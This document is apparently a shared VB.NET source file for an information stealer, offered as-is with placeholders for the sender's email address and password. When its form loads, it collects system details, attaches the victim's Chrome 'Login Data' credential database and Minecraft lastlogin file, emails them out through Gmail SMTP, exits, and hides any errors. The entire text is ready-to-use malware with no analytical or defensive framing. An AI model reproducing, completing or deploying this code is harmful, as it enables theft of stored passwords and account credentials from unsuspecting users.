VB.Net Stealer Source Coe

Imports System.Net.Mail
Imports System.Net.Sockets
Imports System.Net
Imports System.Text.RegularExpressions
Imports System.Text
Imports System.Management

Public Class Form1
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Dim myhost As String = System.Net.Dns.GetHostName()
        Dim myip As String = System.Net.Dns.GetHostAddresses(myhost).GetValue(2).ToString
        Dim MyMailMessage As New MailMessage()
        Try
            MyMailMessage.From = New MailAddress("EMAIL ADDRESS GOES HERE")
            MyMailMessage.To.Add("EMAIL ADDRESS GOES HERE")
            MyMailMessage.Subject = ("Data Sender")
            MyMailMessage.Body = ("Local IP: " + myip + vbNewLine + "Machine Name: " + myhost + vbNewLine + "OS Name: " + My.Computer.Info.OSFullName + vbNewLine + "OS Version: " + My.Computer.Info.OSVersion + vbNewLine + "OS Platform: " + My.Computer.Info.OSPlatform + vbNewLine + "Username: " + System.Environment.UserName + vbNewLine + "Sender: " + System.Environment.CommandLine + vbNewLine + "System Directory: " + System.Environment.SystemDirectory + vbNewLine + "Username: " + System.Environment.UserName + vbNewLine + "PC Time: " + My.Computer.Clock.LocalTime + vbNewLine + "Availible Memory: " + My.Computer.Info.AvailablePhysicalMemory.ToString)
            Dim mc = New Attachment("C:\Users\" + System.Environment.UserName + "\AppData\Roaming\.minecraft\lastlogin")
            Dim chrome = New Attachment("C:\Users\" + System.Environment.UserName + "\AppData\Local\Google\Chrome\User Data\Default\Login Data")
            MyMailMessage.Attachments.Add(mc)
            MyMailMessage.Attachments.Add(chrome)
            Dim SMTP As New SmtpClient("smtp.gmail.com")
            SMTP.Port = 587
            SMTP.EnableSsl = True
            SMTP.Credentials = New System.Net.NetworkCredential("EMAIL ADDRESS GOES HERE", "EMAIL PASSWORD GOES HERE")
            SMTP.Send(MyMailMessage)
            Application.Exit()
        Catch ex As Exception
        End Try

    End Sub
End Class